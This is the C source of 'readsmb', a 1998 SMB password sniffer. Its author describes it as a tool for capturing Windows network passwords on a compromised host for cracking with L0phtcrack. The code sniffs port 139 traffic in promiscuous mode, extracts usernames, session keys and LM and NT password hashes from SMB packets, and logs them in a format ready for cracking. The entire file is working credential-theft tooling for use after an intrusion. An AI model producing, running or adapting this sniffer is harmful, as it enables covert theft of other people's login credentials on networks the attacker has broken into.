/* readsmb.c v0.56 * by the basement research 5/29/98 * * Many thanks to L0pht Heavy Industries - without L0phtcrack this is worthless. * * An implementation of the SMB sniffer that comes with l0phtcrack 2.0. The * purpose here is to provide an effective means of sniffing SMB passwords on * a compromised host. Its too hard to execute a sniffer on a remote host with * only an NT version available. * * If you don't have libpcap, you'll need to get it - its at ftp.ee.lbl.gov. * (Has there ever been a more useful government service than this?) * Tested on Linux 2.0.x (glibc1 and 2), and FreeBSD. It will compile on * Slow-aris, but it is totally untested (there will be a byte-ordering issue). * * This is pretty crude but functional. I still don't even know what the second * field of the sniff file is for (the program simply inserts a '3'). I tested * this with Win95, WinNT, and Samba clients (both smbclient LANMAN2 and NT1). * I don't think it grabs the correct string for Administrator, because LC * couldn't crack it (sometimes the real readsmb didn't seem to get it either * - and sometimes it seemed to drop the username. readsmb also didn't seem * to always work for LANMAN2 protocol, this does). * * The start_pcap() function was taken from "UNIX Network Programming - * Networking APIs : Sockets and XTI" by Richard Stevens (great book.) * * Officially dedicated to Nikki Steele. * * Fbhepr pbqr vf fcrrpu! * jose chung * the basement research * http://www.basementresearch.net * * To compile : * cc -o readsmb readsmb.c -lpcap * Usage : * ./readsmb [output file] (otherwise to stdout) */ #include #include #include #include #ifdef __FreeBSD__ #include #endif /* __FreeBSD__ */ #ifdef __sun /* Solaris 2.x */ #define u_int32_t uint32_t #include #endif /* Not FreeBSD, not Solaris. Our default is Linux */ #include #include "pcap.h" #define FILTER_CMD "src port 139 or dst port 139" #define TRUE (1) #define LM_PROT 0x0D #define NT_PROT 0x11 #define SMB_SK_COMMAND 0x72 #define SMB_PW_COMMAND 0x73 #define TIMEOUT_VALUE 500 #define PW_OFFSET_NT12 105 #define PWNT_OFFSET_NT12 129 #define SK_OFFSET_NT12 112 #define USER_OFFSET_NT12 129 #define PWNT_OFFSET_LM2 75 #define PW_OFFSET_LM2 99 #define SK_OFFSET_LM2 104 #define USER_OFFSET_LM2 123 #define SMB_PORT 139 FILE *log = NULL; char *device; struct pcap_pkthdr hdr; pcap_t *pfd; /* File descriptor for pcap */ u_short link_offset = 0; /* 0 if device = ppp0, 14 if device = eth0 */ int current_pkt_type = 0; int neg_prot, pw_offset, sk_offset, user_offset; void * killed (int sig) { fflush (log); if (log != NULL) fclose (log); exit (0); } char * check_pkt (char *pkt) { static u_short port; static u_char cmd; char *extracted; char *discard = NULL; u_short *port_ext; if ((extracted = (char *) malloc (sizeof (char))) == NULL) { puts ("Error allocating memory."); exit (0); } if ((port_ext = (u_short *) malloc (sizeof (u_short))) == NULL) { puts ("Error allocating memory."); exit (0); } memcpy (extracted, (pkt + 48), sizeof (u_char)); memcpy (port_ext, (u_short *) (pkt + 20), sizeof (u_short)); port = ntohs (*((u_short *) port_ext)); cmd = *((u_char *) extracted); if (current_pkt_type == SMB_PW_COMMAND && (((int) cmd == SMB_PW_COMMAND) && (!(port == SMB_PORT)))) { free (extracted); free (port_ext); return (pkt); } if (current_pkt_type == SMB_SK_COMMAND && (((int) cmd == SMB_SK_COMMAND) && (port == SMB_PORT))) { free (extracted); free (port_ext); return (pkt); } free (extracted); free (port_ext); return (discard); } char * grab_pcap () { char *pptr = NULL; char *checked_pptr; while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL); pptr = pptr + link_offset; checked_pptr = check_pkt (pptr); return (checked_pptr); } char * grabber_loop () { char *grabbed_pkt = NULL; while (grabbed_pkt == NULL) { grabbed_pkt = grab_pcap (); } return (grabbed_pkt); } void start_pcap () { char cmd[80]; int psize, datalink; struct bpf_program fcode; u_int localnet, netmask; char errbuf[PCAP_ERRBUF_SIZE]; char link[] = "ppp0"; psize = 300; /* I'm not even sure what this does. Did this come from Stevens too? */ if ((device = pcap_lookupdev (errbuf)) == NULL) { printf ("pcap_lookupdev : %s\n", errbuf); exit (-1); } if (strcmp (device, link) == 0) { link_offset = 0; } else link_offset = 14; printf ("Selected network device %s\n", device); if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf)) == NULL) { printf ("pcap_open_live : %s\n", errbuf); exit (-1); } puts ("Opened device successfully."); if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0) { printf ("pcap_lookupnet : %s\n", errbuf); exit (-1); } snprintf (cmd, sizeof (cmd), FILTER_CMD); printf ("Applying filter : %s\n", &cmd); if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0) { printf ("pcap_compile : %s\n", pcap_geterr (pfd)); exit (-1); } if (pcap_setfilter (pfd, &fcode) < 0) { printf ("pcap_setfilter : %s\n", pcap_geterr (pfd)); exit (-1); } if ((datalink = pcap_datalink (pfd)) < 0) { printf ("pcap_datalink : %s\n", pcap_geterr (pfd)); exit (-1); } printf ("The datalink is type %d\n", datalink); } char * byte_convert_sk (char *pkt) { char *pc1, *pc2, *pc3; u_long num1, num2, num3; char *converted; pc1 = (char *) malloc (sizeof (int)); pc2 = (char *) malloc (sizeof (int)); pc3 = (char *) malloc (sizeof (int)); converted = (char *) malloc (17); bzero (converted, 17); neg_prot = get_prot (pkt); /* This doesn't belong here. */ if (neg_prot == LM_PROT) { pw_offset = PW_OFFSET_LM2; sk_offset = SK_OFFSET_LM2; user_offset = USER_OFFSET_LM2; } if (neg_prot == NT_PROT) { pw_offset = PW_OFFSET_NT12; sk_offset = SK_OFFSET_NT12; user_offset = USER_OFFSET_NT12; } memcpy (pc1, (pkt + sk_offset), sizeof (int)); memcpy (pc2, (pkt + (sk_offset + 4)), sizeof (int)); memcpy (pc3, (pkt + (sk_offset + 8)), sizeof (int)); num1 = ntohl (*((u_long *) pc1)); num2 = ntohl (*((u_long *) pc2)); num3 = (u_long) ntohl (*((u_long *) pc3)); num1 = (num1 << 8) >> 8; num3 = num3 >> 24; sprintf (converted, "%.6x%.8x%.2x", num1, num2, num3); free (pc1); free (pc2); free (pc3); return (converted); } int get_prot (char *pkt) { u_char *prot_code; int code = 0; prot_code = (u_char *) malloc (sizeof (u_char)); memcpy (prot_code, (pkt + 76), 1); code = (int) *prot_code; return (code); } char * byte_convert_user (char *pkt) { char *pc1; pc1 = (char *) malloc (49); bzero (pc1, 49); strcpy (pc1, (pkt + user_offset)); return (pc1); } char * byte_convert_pw (char *pkt, int run) { char *lmhash; char *pc1, *pc2, *pc3, *pc4, *pc5, *pc6; u_int num1, num2, num3, num4, num5, num6; lmhash = (char *) malloc (49); bzero (lmhash, 49); if ((run == 2) && (neg_prot == NT_PROT)) { pw_offset = PWNT_OFFSET_NT12; } if ((run == 2) && (neg_prot == LM_PROT)) { pw_offset = PWNT_OFFSET_LM2; } pc1 = (char *) malloc (sizeof (u_int)); pc2 = (char *) malloc (sizeof (u_int)); pc3 = (char *) malloc (sizeof (u_int)); pc4 = (char *) malloc (sizeof (u_int)); pc5 = (char *) malloc (sizeof (u_int)); pc6 = (char *) malloc (sizeof (u_int)); memcpy (pc1, (pkt + pw_offset), 4); memcpy (pc2, (pkt + (pw_offset + 4)), 4); memcpy (pc3, (pkt + (pw_offset + 8)), 4); memcpy (pc4, (pkt + (pw_offset + 12)), 4); memcpy (pc5, (pkt + (pw_offset + 16)), 4); memcpy (pc6, (pkt + (pw_offset + 20)), 4); num1 = ntohl (*((u_int *) pc1)); num2 = ntohl (*((u_int *) pc2)); num3 = ntohl (*((u_int *) pc3)); num4 = ntohl (*((u_int *) pc4)); num5 = ntohl (*((u_int *) pc5)); num6 = ntohl (*((u_int *) pc6)); sprintf (lmhash, "%.8x%.8x%.8x%.8x%.8x%.8x", num1, num2, num3, num4, num5, num6); free (pc1); free (pc2); free (pc3); free (pc4); free (pc5); free (pc6); return (lmhash); } void main (int argc, char **argv) { char *cur_pkt, *next_pkt; char *sk, *user, *pw, *ntpw, *output; signal (SIGINT, killed); signal (SIGTERM, killed); signal (SIGKILL, killed); signal (SIGQUIT, killed); if (argc > 2) { printf ("Usage : %s [output file]\n", *argv); exit (0); } if (argc == 1) { log = stdout; } else log = fopen (argv[1], "w"); if ((argc == 2) && (!log)) { puts ("Error opening logfile."); exit (0); } start_pcap (); while TRUE { output = (char *) malloc (172); bzero (output, 172); current_pkt_type = SMB_SK_COMMAND; cur_pkt = grabber_loop (); sk = byte_convert_sk (cur_pkt); current_pkt_type = SMB_PW_COMMAND; next_pkt = grabber_loop (); user = byte_convert_user (next_pkt); pw = byte_convert_pw (next_pkt, 1); ntpw = byte_convert_pw (next_pkt, 2); strcat (output, user); strncat (output, ":3:", 3); strcat (output, sk); strncat (output, ":", 1); strcat (output, pw); strncat (output, ":", 1); strcat (output, ntpw); fprintf (log, "%#s\n", output); fflush (log); free (output); } }